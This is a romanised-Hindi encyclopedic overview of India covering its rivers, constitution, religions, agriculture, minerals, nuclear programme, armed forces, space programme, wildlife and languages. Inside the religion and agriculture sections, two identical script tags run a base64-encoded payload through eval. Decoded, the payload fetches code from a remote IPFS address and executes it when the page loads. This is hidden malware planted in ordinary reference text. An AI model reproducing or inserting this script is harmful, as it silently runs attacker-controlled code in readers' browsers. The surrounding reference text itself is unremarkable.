himalay se nikalane vali nadiyaan barf aur ghleshiyaroan ke pighalane se bani haian at: inamean poore varsh ke dauran niranhtar pravah bana rahata hai. m aaunasoon mah ke dauran himalay kshetr mean bahut adhik vrishti hoti hai aur nadiyaan barish par nirbhar haian at: isake ayatan mean utar chadhav hota hai. inamean se kee ashthayi hoti haian. tatavarti nadiyaan, visheshakar pashchimi tat par, lanbaee mean chhoti hoti haian aur unaka simit jalagrahan kshetr hota hai. inamean se adhikaansh ashthayi hoti haian. pashchimi rajasthan ke aantardeshiy nala droni kshetr ki kuchhh nadiyaan haian. inamean se adhikaansh ashthayi prakriti ki haian. himalay se nikalane vali nadi ki mukhhy pranali siandhu, ganga, brahmaputr aur meghana nadi ki pranali ki tarah hai. dakhkan kshetr mean adhikaansh nadi pranaliyaan samanhyat poorv disha mean bahati haian aur bangal ki kha di mean mil jati haian. bharat mean kee prakar ki tatavarti nadiyaan haian jo apekshakrit chhoti haian. aisi nadiyoan mean kafi kam nadiyaan-poorvi tat ke delhta ke nikat samudr mean milati hai, jabaki pashchim tat par aisi 600 nadiyaan hai. rajasthan mean aisi kuchh nadiyaan hai jo samudr mean nahian milati haian. ye khare jhiloan mean mil jati hai aur ret mean samapht ho jati haian jisaki samudr mean koee nikasi nahian hoti hai.
bharat ki pramukh nadiyoan ki soochi
| kram | nadi | lambaee (ki.mi.) | udgam sthan | sahayak nadiyaan | pravah kshetr (sambandhit rajy) |
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bharat ka sanvidhan
bharatiy sanvidhan ki maang
1885 mean kaangres ke gathan ke bad se bharatiyoan mean rajanitik chetana jagrit huee aur dhire-dhire bharatiyoan ke man mean yah dharana banane lagi ki bharat ke log svayan apane rajanitik bhavishy ka nirnay karean. is dharana ko sarvapratham abhivyakti 1895 mean us "svarajy vidheyak" mean mili, jise lokamany bal gangadhar tilak ke nirdeshan mean taiyar kiya gaya tha. bad mean 1922 mean mahatma gaandhi dvara yah udagar vyakt kiya gaya ki "bharatiy sanvidhan bharatiyoan ki ichchhanusar hoga". mahatma gaandhi ke is udagar mean yah ashay nihit nahian tha ki bharat ke sanvidhan ka nirman bharatiyoan ke dvara kiya aye. unaka keval yah mat tha ki bharatiyoan ki ichchha ko dhyan mean rakhate hue british sansad bharatiy sanvidhan ko parit kare. mahatma gaandhi ki is maang ne bharatiy netaoan ko bharatiy sanvidhan ki maang ke lie utprerit kiya. 1924 mean motilal neharoo dvara british sarakar se yah maang ki gayi ki bharatiy sanvidhan ke nirman ke lie sanvidhan sabha ka gathan kiya jae. isake bad sanvidhan sabha ke vichar ka aupacharik roop se pratipadan samyavadi neta em. en. ray dvara kiya gaya, jise 1934 mean javahar lal neharoo ne moort roop pradan kiya. neharoo ji ne kaha ki yadi yah svikar kiya jata hai ki bharat ke bhagy ki ekamatr nirnayak bharatiy janata hai, to bharatiy janata ko apana sanvidhan nirman karane ki poorn svatantrata honi chahie.
bharat ka sanvidhan 26 janavari, 1950 ko lagoo hua. isaka nirman sanvidhan sabha ne kiya tha, jisaki pahali baithak 9 disambar, 1946 ko huee thi. sanvidhan sabha ne 26 navambar, 1949 ko sanvidhan ko aangikar kar liya tha. sanvidhan sabha ki pahali baithak avibhajit bharat ke lie bulaee gee thi. 4 agast, 1947 ko sanvidhan sabha ki baithak punah huee aur usake adhyaksh sachchidanand sinha the. sinha ke nidhan ke bad d aau. rajendr prasad sanvidhan sabha ke adhyaksh bane. faravari 1948 mean sanvidhan ka masauda prakashit hua. 26 navambar, 1949 ko sanvidhan antim roop mean svikrit hua aur 26 janavari 1950 ko lagoo hua.
bharat ka sanvidhan briten ki sansadiy pranali ke namoone par hai, kintu ek vishay mean yah usase bhinn hai, briten mean sansad sarvochch hai. bharat mean sansad nahian; balki sanvidhan sarvochch hai. bharat mean nyayalayoan ko bharat ki sansad dvara pas kie ge qanoon ki sanvaidhanikata par faisala karane ka adhikar prapt hai.
bharatiy sanvidhan sabha
bharatiy sanvidhan sabha ki karravaee 13 disambar, san 1946 ee. ko javahar lal neharoo dvara pesh kiye ge uddeshy prastav ke sath prarambh huee.
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rajyoan ka gathan ek jhalak
| kram | rajy ka nam | poorn rajy ke roop mean | rajy ke nam ka arth, udbhav, parichay |
|---|
dharm
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100px|righthar dasha mean doosare sampradayoan ka adar karana hi chahie. aisa karane se manushy apane sampraday ki unnati aur doosare sampradayoan ka upakar karata hai. isake viparit jo karata hai vah apane sampraday ki (j d) katata hai aur doosare sampradayoan ka bhi apakar karata hai. kyoanki jo apane sampraday ki bhakti mean akar is vichar se ki mere sampraday ka gaurav badhe, apane sampraday ki prashansa karata hai aur doosare sampraday ki ninda karata hai, vah aisa karake vastav mean apane sampraday ko hi gahari hani pahuanchata hai. isalie samavay (paraspar melajol se rahana) hi achchha hai arthath log ek-doosare ke dharm ko dhyan dekar sunean aur usaki seva karean. - samrat ashok mahan[40]
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bharatiy sanskriti mean vibhinnata usaka bhooshan hai. yahaan hindoo dharm ke aganit roopoan aur sanpradayoan ke atirikt, bauddh, jain, sikkh, islam, eesaee, yahoodi adi dharmoan ki vividhata ka bhi ek saanskritik samayojan dekhane ko milata hai. hindoo dharm ke vividh sampraday evan mat sare desh mean phaile hue haian, jaise vaidik dharm, shaiv, vaishnav, shakt adi pauranik dharm, radha-ballabh sanpraday, shri sanpraday, ary samaj, samaj adi. parantu in sabhi matavadoan mean sanatan dharm ki ekarasata khandit n hokar vividh roopoan mean gathit hoti hai. yahaan ke nivasiyoan mean bhasha ki vividhata bhi is desh ki moolabhoot saanskritik ekata ke lie badhak n hokar sadhak pratit hoti hai.
| dharm | sankhya (lakh) | kul janasankhya ka pratishat |
|---|---|---|
| hindoo | 8,275 | 80.5 |
| muslim | 1,381 | 13.4 |
| eesaee | 240 | 2.33 |
| sikh | 192 | 1.84 |
| bauddh | 79.5 | 0.8 |
| jain | 42.5 | 0.4 |
| any | 66.3 | 1.8 |
| kul | 10,286 | 100.0 |
adhyatmikata hamari sanskriti ka pranatattv hai. inamean aihik athava bhautik sukhoan ki tulana mean atmik athava paralaukik sukh ke prati agrah dekha ja sakata hai. chaturashram-vyavastha (arthat brahmachary, grihasth tatha sannyas ashram) tatha purusharth-chatushtam (dharm, arth, kam tatha moksh) ka vidhan manushy ki adhyatmik sadhana ke hi pratik haian. isamean jivan ka mukhy dhyey dharm arthat moolyoan ka anurakshan karate hue moksh mana gaya hai. bharatiy adhyatmikata mean dharmandhata ko mahattv nahian diya gaya. is sanskriti ki mool visheshata yah rahi hai ki vyakti apani paristhitiyoan ke anuroop moolyoan ki raksha karate hue koee bhi mat, vichar athava dharm apana sakata hai yahi karan hai ki yahaan samay-samay par vibhinn dharmoan ko uday tatha sampradayik vilay hota raha hai. dharmik sahishnuta isamean koot-koot kar bhari huee hai. vastut: hamari sanskriti mean grahan-shilata ki pravritti rahi hai. isamean pratikool paristhitiyoan ko apane anukool banakar apane mean samahit kar lene ki adbhut shakti hai. aitihasik kal se lekar madhy kal tak bharat mean vibhinn dharmoan evan jatiyoan ka bharat par akraman evan shasan sthapit hua. parantu bharatiy sanskriti ki grahanashil prakriti ke karan samayantar mean ve sab isamean samahit ho gaye.
bharatiy sanskriti ki mahattvapoorn virasat isamean antarnihit sahishnuta ki bhavana mani ja sakati hai. yadyapi prachin bharat mean anek dharm evan sanpraday the, parantu unamean dharmandhata tatha sankuchit manovritti ka abhav tha. atit is bat ka sakshi hai ki hamare desh mean dharm ke nam par atyachar aur raktapat nahian hua hai. bharatiy manishiyoan ne eeshvar ko ek, sarvavyapi, sarvakalyanakari, sarvashaktiman manate hue vibhinn dharmo, matoan aur sanpradayoan ko us param eesh tak pahuanchane ka bhinn-bhinn marg pratipadit kiya hai. (ek sadvipra: bahudha badanti). gita mean shrikrishna bhi arjun ko yahi upadesh dete haian ki sansar mean sabhi log anek prakar se mere hi marg ka anusaran karate haian. jainiyoan ka syadvad, ashok ke shilalekh adi bhi yahi bat duharate haian. isi bhavana ko rashtrapita mahatma gaandhi ne rashtriy ekata jagrit karane ke lie desh ke kone-kone mean guanjarit kiya tha- ‘‘eeshvar alla tere nam. sabako sammati de bhagavan.’’ bharatiy vicharakoan ki sarvaanginata tatha sarvabhaumikata ki bhavana ko satat bal pradan kiya hai. isamean apani sukh, shanti evan unnati ke sath hi samast vishv ke kalyan ki kamana ki gee hai. hamare prabuddh manishiyoan ne sampoorn vishv ko ek parivar manakar ‘vishv bandhutv’ evan ‘vasudhaiv kutumbhakamh’ ki bhavana ko ujagar kiya hai-
sarve bhavantu sukhin: sarvesantu niramaya:.
sarve bhadrani pashyantu ma kashchith dukhabhag bhavet॥
krishi
| fasal/fasal samooh | rajy | utpadan (miliyan tan) | desh ke kul utpadan ka pratishat |
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- REDIRECTsaancha:mukhy
krishi bharat ki arthavyavastha ki ridh mani jati hai. vibhinn panchavarshiy yojanaoan dvara chalae ja rahe vibhinn karyakramoan evan prayasoan se krishi ko rashtriy arthavyavastha mean garimapoorn darja mila hai. krishi kshetroan mean lagabhag 64% shramikoan ko rojagar mila hua hai. 1950-51 mean kul ghareloo utpad mean krishi ka hissa 59.2% tha jo ghatakar 1982-83 mean 36.4% aur 1990-91 mean 34.9% tatha 2001-2002 mean 25% rah gaya. yah 2006-07 ki avadhi ke dauran ausat adhar par ghatakar 18.5% rah gaya. dasavian yojana (2002-2007) ke dauran samagr sakal ghareloo utpad ki ausat varshik vriddhi pad 7.6% thi jabaki is dauran krishi tatha sambaddh kshetr ki varshik vriddhi dar 2.3% rahi. 2001-02 se praranbh huee nav sahastrabdi ke pratham 6 varshoan mean 3.0% ki varshik samany ausat vriddhi dar 2003-04 mean 10% aur 2005-06 mean 6% ki rahi. thumb|left|dhan ki kheti desh mean rashtriy ay ka lagabhag 28% krishi se prapt hota hai. lagabhag 70% janasankhya apani ajivika ke lie krishi par nirbhar hai. desh se hone vale niryatoan ka b da hissa bhi krishi se hi ata hai. gair krishi-kshetroan mean b di matra mean upabhokta vastuean evan bahutayat udyogoan ko kachcha mal isi kshetr dvara bheja jata hai.
bharat mean paanchavean dashak ke shuruati varshoan mean anaj ki prati vyakti dainik upalabdhata 395 gram thi, jo 1990-91 mean badhakar 468 gram, 1996-97 mean 528.77 gram, 1999-2000 mean 467 gram, 2000-01 mean 455 gram, 2001-02 mean 416 gram, 2002-03 mean 494 gram aur 2003-04 mean 436 gram tak pahuanch gee. varsh 2005-06 mean yah upalabdhata prati vyakti pratidin 412 gram ho gee. vishv mean sabase adhik kshetroan mean dalahani kheti karane vala desh bhi bharat hi hai. isake bavajood prati vyakti dal ki dainik upalabdhata santoshajanak nahian rahi hai. isamean samanyat: prati varsh giravat darz ki gee hai. varsh 1951 mean dal ki prati vyakti dainik upalabdhata 60.7 gram thi vahi yah 1961 mean 69.0 gram, 1971 mean 51.2 gram, 1981 mean 37.5 gram, 1991 mean 41.6 gram aur 2001 mean 30.0 gram ho gee. varsh 2005 mean prati vyakti pratidin dal ki nival upalabdh matra 31.5 gram tatha 2005-06 ke dauran 33 gram pratidin prati vyakti ho gee. bharat mean hi sarvapratham kapas ka sankar bij taiyar kiya gaya hai. vibhinn krishi kshetroan mean adhunikatam evan upayukt praudyogiki ka vikas karane mean bhi bharatiy vaijnanikoan ne saphalata arjit ki hai.
khanij sanpada
svatantrata prapti ke pashchat bharat mean khanijoan ke utpadan mean nirantar vriddhi huee hai. koyala, lauh ayask, b aauksait adi ka utpadan nirantar badha hai. 1951 mean sirf 83 karo d rupaye ke khanijoan ka khanan hua tha, parantu 1970-71 mean inaki matra badhakar 490 karo d rupaye ho gee. agale 20 varshoan mean khanijoan ke utpadan mean abhootapoorv vriddhi huee. 2001-02 mean nikale gaye khanijoan ka kul mooly 58,516.36 karo d rupaye tak pahuanch gaya jabaki 2005-06 ke dauran kul 75,121.61 karo d rupaye mooly ke khanijoan ka utpadan kiya gaya. yadi matra ki drishti se dekha jaye, to bharat mean khanijoan ki matra mean lagabhag tiguni vriddhi huee hai, usaka 50% bhag sirf petroliyam aur prakritik gais ke karan tatha 40% koyala ke karan hua hai. any shabdoan mean 2005-06 mean kul khanij mooly (75,121.61 karo d ru) mean se petroliyam aur prakritik gais se 26,851.31 karo d rupaye tatha koyala aur lignait se 29,560.75 karo d rupaye ke mooly shamil haian. shesh 11,575.35 karo d rupaye mooly ke any dhatvik tatha adhatvik khanij the.
| khanij | anumanit bhandar | prapti ke kshetr | vishesh bindu |
|---|
oorja aur eeandhan
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paramanu oorja
bharat ka paramanu oorja vibhag tin charanoan mean nabhikiy oorja karyakram chala raha hai-
- pahale charan mean dabit gurujal riektaroan (pi ech dablyoo ar) aur unase ju de eeandhan-chakr ke lie vidha ko sthapit kiya jana hai. aise riektaroan mean prakritik yooreniyam ko eeandhan ke rup mean gurujal ko m aaudaretar evan kooleant ke rup mean prayog kiya jata hai.
- doosare charan mean phast bridar riektar banane ka pravadhan hai, jinake sath punah prasanskaran sanyantr aur plootoniyam-adharit eeandhan sanvicharan sanyantr bhi hoange. plootoniyam ko yooreniyam 238 ke vikhandan se prapt kiya jata hai.
- tisara charan thoriyam-yooreniyam-233 chakr par adharit hai. yooreniyam-233 ko thoriyam ke vikiran se hasil kiya jata hai.
pahala charan
nabhikiy oorja karyakram ke pratham charan ka upayog vyavasayik kshetroan mean ho raha hai. bharatiy nabhikiy oorja nigam limited (en.pi.si.aee.el.) paramanu oorja vibhag ki sarvajanik kshetr ki ikaee hai jis par nabhikiy riektaroan ke dijain, nirman aur sanchalan ka dayitv hai. kampani 17 riektars (do ubalate jal vale riektar aur 15 dabit gurujal riektar) ka sanchalan karati hai jinaki kul kshamata 4120 megav aaut hai. enapisiaeeel 03 piechadablyoo riektars ka tatha do halke jal riektars ka nirman ka rahi hai jisase isaki kshamata varsh 2008 tak badh ka 6780 mega ilektrik v aaut ho jaegi.
dvitiy charan
phasht bridar karyakram takaniki pradarshan ke charan mean hai. doosare charan ka anubhav prapht karane ke lie iandira gaandhi paramanu anusandhan kenhdr (aee. ji. si. e. ar.) taral sodiyam dvara thande kie ja rahe phasht bridar riekhtaroan ke dijain aur vikas mean laga hai. isane phasht bridar riekhtar praudyogiki vikasit karane mean saphalata hasil kar li hai. isake 500 megavat kshamata ke prototaip phasht bridar riekhtar (pi.eph.bi.ar.) ka nirman kalapakhkam mean shuroo kar diya gaya hai. in pariyojanaoan ko lagoo karane ke lie nee kanpani bharatiy nabhikiy vidyut nigam (biechebiarenaee) ‘bhavini’ dvara varsh 2010-11 tak dakshini grid ko 500 mega ilektrik vat vidyut ki apoorti ki ja sakegi.
tritiy charan
nabhikiy oorja karyakram ka tisara charan takaniki vikas ke charan mean hai. bark mean 300 megavat ke unhnat gurujal riekhtar (e.ech.dabhloo.ar.) ka vikas kary chal raha hai taki thoriyam ishtemal mean visheshajnata hasil ho sake aur suraksha ke pukhhta tarikoan ka pradarshan ho jae. thoriyam adharit pranaliyoan jaise eechadabhlyooar ko vhyavasayik ishtemal ke lie tabhi shthapit kiya ja sakata hai jabaki phasht bridar riekhtar ke adhar par uchhch kshamata ka nirman kar liya jae.
raksha
- REDIRECTsaancha:mukhy
bharatiy sena
thumb|bharatiy vayu sena bharat ki raksha niti ka pramukh uddeshy yah hai ki bharatiy upamahadvip mean use badhava diya jae evan sthayitv pradan kiya jae tatha desh ki raksha senaoan ko paryapt roop se susajjit kiya jae, taki ve kisi bhi akraman se desh ki raksha kar sakean. varsh 1946 ke poorv bharatiy raksha ka poora niyantran aangrezoan ke hathoan mean tha. usi varsh keandr mean aantarim sarakar mean pahali bar ek bharatiy desh ke raksha mantri baladev sianh bane. halaanki kamaandar-in-chiph ek aangrez hi raha . 1947 mean desh ka vibhajan hone par bharat ko 45 rejimeantean milian, jinamean 2.5 lakh sainik the. shesh rejimeant pakistan chali gayian. gorakha fauj ki 6 rejimeantan (lagabhag 25,000 sainik) bhi bharat ko milian. shesh gorakha sainik british sena mean sammilit ho gaye. british sena ki aantim tuk di samarasait lait inphaiantri ki pahali bataliyan ho gayi. british sena ki aantim tuk di samarasait lait inphaiantri ki pahali bataliyan bharatiy bhoomi se 28 faravari, 1948 ko svadesh ravana huee. kuchh aangrez afasar paramarshak ke roop mean kuchh samay tak bharat mean rahe lekin svatantrata ke pahale kshan se hi bharatiy sena poornat: bharatiyoan ke hathoan mean a gayi thi. svatantrata ke turant pashchat bharat sarakar ne bharatiy sena ke dhaanche mean katipay parivartan kiye. thal sena, vayu sena evan nausena apane-apane mukhy senadhyakshoan ke adhin ayi. bharatiy riyasatoan ki sena ko bhi desh ki sainy vyavastha mean shamil kar liya gaya. 26 janavari, 1950 ko desh ke ganatantr banane par bharatiy senaoan ki sanrachanaoan mean avashyak parivartan kiye gaye.
| kram | prakshepastr | prakar | marak kshamata | ayudh vajan kshamata | pratham parikshan | lagat | vikas sthiti |
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thumb|bharatiy nausena|250px bharat ki raksha senaoan ka sarvochch kamaandar bharat ka rashtrapati hai, kintu desh raksha vyavastha ki jimmedari mantrimandal ki hai. raksha se sanbandhit sabhi mahattvapoorn mamaloan ka phaisala rajanitik karyoan sanbandhi mantrimandal samiti (kaibinet kameti aaun p aaulitikal apheyars) karati hai, jisaka adhyaksh pradhanamantri hota hai. raksha mantri sevaoan se sanbandhit sabhi vishayoan ke bare mean sansad ke samaksh uttaradayi hai.
| 80px|bharatiy thalasena ka dhvaj |
| bharatiy thal sena |
| 80px|bharatiy nausena ka pratik |
| bharatiy nausena |
| 80px|bharatiy vayusena ka pratik |
| bharatiy vayu sena |
raksha mantralay ka pramukh raksha mantri hai aur sabase b da vittiy adhikari raksha mantralay ka vittiy salahakar hota hai. raksha mantralay mean char vibhag hai- (1) raksha vibhag, (2) raksha utpadan vibhag, (3) raksha apoorti vibhag aur (4) raksha vijnan evan anusandhan vibhag. raksha mantralay desh ki raksha karane aur sashastr senaoan - sthal sena, nau sena aur vayu sena ke saj-saman jutane aur unaka prashasan chalane ke lie uttaradayi hai. raksha mantralay bharat ki raksha sashastr senaoan arthat thal sena, nau sena aur vayu sena ke gathan aur unake prashasan, sashastr senaoan ke lie astr-shastr, gola-barood, pot, viman, vahan, upakaran aur saj-saman ki vyavastha karane, abhi tak ayat hone vali madoan ko desh ke bhitar nirmit karane ki kshamata sthapit karane aur raksha ke kshetr mean anusandhan evan vikas ko badhava dene ke lie sidhe uttaradayi hai. is mantralay ki kuchh any jimmedariyaan haian- mantralay se sanbaddh asainik sevaoan par niyantran, kaintonameant banana, unake kshetr ka nirdharan karana aur raksha seva karmachariyoan ke lie aanvas suvidhaoan ka vinimayan karana. bharat ki sashastr senaoan mean tin mukhy sevayean haian- thal-sena, nausena aur vayu sena. thumb|80px|sima suraksha bal ka pratik ye tinoan sevayean ek senadhyaksh arthat kramash: sthal senadhyaksh, nau senadhyaksh aur vayu senadhyaksh ke adhin haian. ye tinoan senadhyaksh janaral ya isake barabar pad vale hote haian. in tinoan senadhyakshoan ki ek senadhyaksh samiti hai. is samiti ki adhyakshata yahi tinoan senadhyaksh apani varishthata ke adhar par karate haian. is samiti ki sahayata ke lie up-samitiyaan hoti haian jo vishesh samasyaoan jaise ayojan, prashikshan, sanchar adi ka kam dekhati haian.
aj bharat ki thal sena vishv ki sabase b di sthal senaoan mean chauthe sthan par, vayu sena paanchavean sthan par aur nau sena satavean sthan par mani jati hai. sena ke pramukh sahayak sangathan haian- (1) pradeshik sena (2) tat rakshak, (3) sahayak vayu sena aur (4) en. si. si. jisamean sthal sena, nau sena aur vayu sena tinoan parshv hote haian.
aantariksh karyakram
| kram | sthan | kendr aur ikaiyaan |
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vikasashil arthavhyavashtha aur usase ju di samashyaoan se ghire hone ke bavazood bharat ne aantariksh praudyogiki ko prabhavi dhang se vikasit kiya hai aur use apane tivr vikas ke lie ishtemal bhi kiya hai tatha aj vishhv ke anhy deshoan ko vibhinhn aantariksh sevaean upalabhdh kara raha hai. 1960 ke dashak ke praranbhik varshoan mean aantariksh anusandhan ki shuruat bharat mean mukhhyat: sauandiang r aauketoan ki madad se huee. bharatiy aantariksh anusandhan sangathan (isaro) ki shthapana 1969 mean ki gee. bharat sarakar dvara 1972 mean 'aantariksh ayog' aur 'aantariksh vibhag' ke gathan se aantariksh shodh gatividhiyoan ko atirikht gati prapht huee. 'isaro' ko aantariksh vibhag ke niyantran mean rakha gaya. bharatiy aantariksh karyakram ke itihas mean 70 ka dashak prayogathmak yug tha jis dauran 'aryabhat', 'bhashkar', 'rohini' tatha 'ephpal' jaise prayogathmak upagrah karyakram chalae ge. in karyakramoan ki saphalata ke bad 80 ka dashak sanchalanathmak yug bana jabaki 'inset' tatha 'aeeares' jaise upagrah karyakram shuroo hue. aj inset tatha aeeares isaro ke pramukh karyakram haian. aantariksh yan ke shvadesh mean hi prakshepan ke lie bharat ka majaboot prakshepan yan karyakram hai. yah ab itana paripakhv ho gaya hai ki prakshepan ki sevaean anhy deshoan ko bhi upalabhdh karata hai. isaro ki vhyavasayik shakha eantrikhs, bharatiy aantariksh sevaoan ka vipanan vishhv bhar mean karati hai. bharatiy aantariksh karyakram ki khas visheshata aantariksh mean jane vale anhy deshoan, aantararashtriy sangathanoan aur vikasashil deshoan ke sath prabhavi sahayog hai.
- varsh 2005-06 mean bharatiy aantariksh karyakram ki sabase pramukh upalabhdhi 'pieselavisi 6' ka saphal prakshepan rahi hai.
- 5 mee, 2005 ko 'polar upagrah prakshepan yan' (pieselavi-ephasi 6) ki nauvian u dan ne shriharikota ke satish dhavan aantariksh keandr (esadiesasi) se saphalatapoorvak do upagrahoan - 1560 ki.gra. ke kartoshtar-1 tatha 42 ki.gra. ke hemaset ko poorv-nirdharit polar san sinhkronan arbit (eseso) mean pahuanchaya. lagatar satavian prakshepan saphalata ke bad pieselavi-si 6 ki saphalata ne pieselavi ki vishhvasaniyata ko age badhaya tatha 600 ki.mi. ooanche polar eseso mean 1600 ki.gra. bhar tak ke nitabhar ko rakhane ki kshamata ko darshaya hai.
- 22 disanbar 2005 ko inset-4e ka saphal prakshepan, jo ki bharat dvara ab tak banae ge sabhi upagrahoan mean sabase bhari tatha shakhtishali hai, varsh 2005-06 ki anhy b di upalabhdhi thi.
- inset-4e dararekht-too-hom (ditiech) telivijan prasaran sevaean pradan karane mean saksham hai.
- isake atirikht, nau gramin sansadhan keandroan (viarasij) ke doosare samooh ki shthapana karana aantariksh vibhag ki varsh ke dauran mahathvapoorn maujooda pahal hai. viarasi ki dharana gramin samudayoan ki badalati tatha mahathvapoorn avashhyakataoan ko poora karane ke lie aantariksh vhyavashthaoan tatha anhy aeeti aujaroan se nikalane vali vibhinhn prakar ki janakari pradan karane ke lie sanchar sadhanoan tatha bhoomi avalokan upagrahoan ki kshamataoan ko sanghatit karati hai.
pashu pakshi jagat
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thumb|100px|left|rashtriy pashu bagh vany jivan prakriti ki amooly den hai. bhavishy mean vany praniyoan ki samapti ki ashanka ke karan bharat mean sarvapratham 7 julaee, 1955 ko vany prani divas manaya gaya . yah bhi nirnay liya gaya ki pratyek varsh do aktoobar se poore saptah tak vany prani saptah manaya jaega. varsh 1956 se vany prani saptah manaya ja raha hai. bharat ke sanrakshan karyakram ki avashyakataoan ko poora karane ke lie ek mazaboot sansthagat dhaanche ki rachana ki gayi hai . jool aaujikal sarve aauph indiya, botenikal sarve aph indiya jaisi pramukh sansthaoan tatha bharatiy vany jivan sansthan, bharatiy vany anusandhan evan shiksha parishad, iandira gaandhi rashtriy van akadami tatha salim ali skool aauph arinthol aauji jaise sansthan vany jivan sanbandhi shiksha aur anusandhan kary mean lage haian. bharat kee prakar ke jangaloan jivoan ka, anek pe d paudhoan aur pashu-pakshiyoan ka ghar hai. shanadar hathi, mor ka nach, ooant ki sair, sheroan ki daha d sabhi ek anokhe anubhav hai. yahaan ke pashu pakshiyoan ko apane prakritik nivasasthan mean dekhana anandayak hai. bharat mean jangali jivoan ko dekhane paryatak ate haian. yahaan jangali jivoan ki bahut b di sankhya hai. bharat mean 70 se adhik rashtriy udyan aur 400 jangali jivoan ke abhayarany hai aur pakshi abhayarany bhi haian. thumb|100px|left|gaureya prakriti premiyoan ke lie yah jangal svarg hai parantu ab yahaan ke kuchh jiv jaise chite, sher, hathi, bangal ke sher aur saiberiyan saras ab khatare mean hai. bharat ki lambaee aur chaudaee mean phaila yah jangal kshetr, ranathambhor rashtriy udyan, rajasthan se hazari bagh jangali jiv abhayarany, bihar se, himalay ke jim korbet rashtriy udyan, andaman ke chhah rashtriy udyanoan tak ek shanadar jangal ki sair kar sakate haian. hathi, chite, jangali bhaiansa, yak, hiran, jangali gadhe ek siang vala gean da, sahi, him chite adi jantu himalay mean dikhane ko milate haian. thumb|100px|left|hathi bharat mean, vishv ke assi, pratishat ek siang vale gean doan ka nivas hai. kaziranga khel abhayarany gean doan ke lie upayukt nivas hai aur prakritik sansthaoan ke lie aur jangali sair karane vale ke lie bhi achchhi jagah hai. bharat ke son chi diya aur blaik bak, karesh abhayarany mean hote haian. madhav rashtriy udyan mean, jo shivapuri rashtriy udyan kahalata tha, jivoan ka ek nivas hai. korbot rashtriy udyan sabase prasiddh haih. uttar bharat mean jangali janavaroan ke paryatakoan ke lie achchhi jagah hai. aise abhayarany aur rashtriy udyan, bharat mean kafi sankhya mean haian. bharat mean sheroan (bagh) ki sankhya bahut thi. bharat ka rashtriy pashu, sher, teji aur taqat ka chinh hai. bharat mean barah bagh nivas hai. shahi bangal ke bagh, sabase shanadar jati ke pashuoan mean se hai. vishv ke sath pratishat sheroan ki sankhya bharat mean rahi hai. madhy pradesh, sheroan ke nivas ki sabase prasiddh jagah hai. yahaan bangal ke sher, chital, chite, gaur, sambhar aur kee jiv dekhane ko milate haian. bharat mean jangali jivoan ke sath-sath, pakshiyoan ki bhi sankhya achchhi hai. kee sau jatiyoan ke pakshi bharat mean milate haian. ghana rashtriy udyan ya bharatapur pakshi abhayarany (rajasthan) mean ghareloo pakshi aur zamin par jine vale pakshi bhi haian. dudhava jangali jiv abhyaran mean bandar, giddh aur chil pakshi bhi hai. aandaman ke nikobar mean bhi kabootar paye jate haian.
bharat ka vany jivan
- sansar mean paudhoan ki 2,50,000 jnat prajatiyoan mean se 15,000 prajatiyaan bharat mean milati haian.
- is prakar sansar mean jiv-jantuoan ki kul 15 lakh prajatiyoan mean se 75,000 prajatiyaan bharat mean paee jati haian.
- bharat mean pakshiyoan ki 1,200 prajatiyaan aur 900 up-prajatiyaan paee jati haian.
- bharat ke suvikhyat pakshiyoan mean bahurangi rashtriy pakshi mor ullekhaniy hai.
- paanch phut ki ooanchaee vala bhavy saras tatha sansar ka doosara sabase bhari pakshi hukana (sohanachi diya) mahattvapoorn pakshi haian.
- sansar mean prasiddh kevaladev (bharatapur) ke rashtriy udyan mean dhaee lakh pakshiyoan ka ghar hai.
bharatiy bhasha parivar
bharat ki mukhy visheshata yah hai ki yahaan vibhinnata mean ekata hai. bharat mean vibhinnata ka svaroop n keval bhaugolik hai, balki bhashayi tatha saanskritik bhi hai. ek riport ke anusar bharat mean 1652 matribhashayean prachalan mean haian, jabaki sanvidhan dvara 22 bhashaoan ko rajabhasha ki manyata pradan ki gayi hai. sanvidhan ke anuchchhed 344 ke aantargat pahale keval 15 bhashaoan ko rajabhasha ki manyata di gayi thi, lekin 21vean sanvidhan sanshodhan ke dvara sindhi ko tatha 71vaan sanvidhan sanshodhan dvara nepali, koankani tatha manipuri ko bhi rajabhasha ka darja pradan kiya gaya. bad mean 92vaan sanvidhan sanshodhan adhiniyam, 2003 ke dvara sanvidhan ki athavian anusoochi mean char nee bhashaoan bodo, dogari, maithili tatha santhali ko rajabhasha mean shamil kar liya gaya. is prakar ab sanvidhan mean 22 bhashaoan ko rajabhasha ka darja pradan kiya gaya hai. bharat mean in 22 bhashaoan ko bolane vale logoan ki kul sankhya lagabhag 90% hai. in 22 bhashaoan ke atirikt aangrezi bhi sahayak rajabhasha hai aur yah mizoram, nagalaind tatha meghalay ki rajabhasha bhi hai. kul milakar bharat mean 58 bhashaoan mean skooloan mean padhayi ki jati hai. sanvidhan ki athavian anusoochi mean un bhashaoan ka ullekh kiya gaya hai, jinhean rajabhasha ki sanjna di gee hai.
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bharatiy bhasha soochi
| bhasha | lipi | kshetr | prayogakarta janasankhya |
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shiksha
1911 mean bharatiy janaganana ke samay saksharata ko paribhashit karate hue kaha gaya hai ki "ek patr padh-likhakar usaka uttar de dene ki yogyata" saksharata hai.
prachin kal
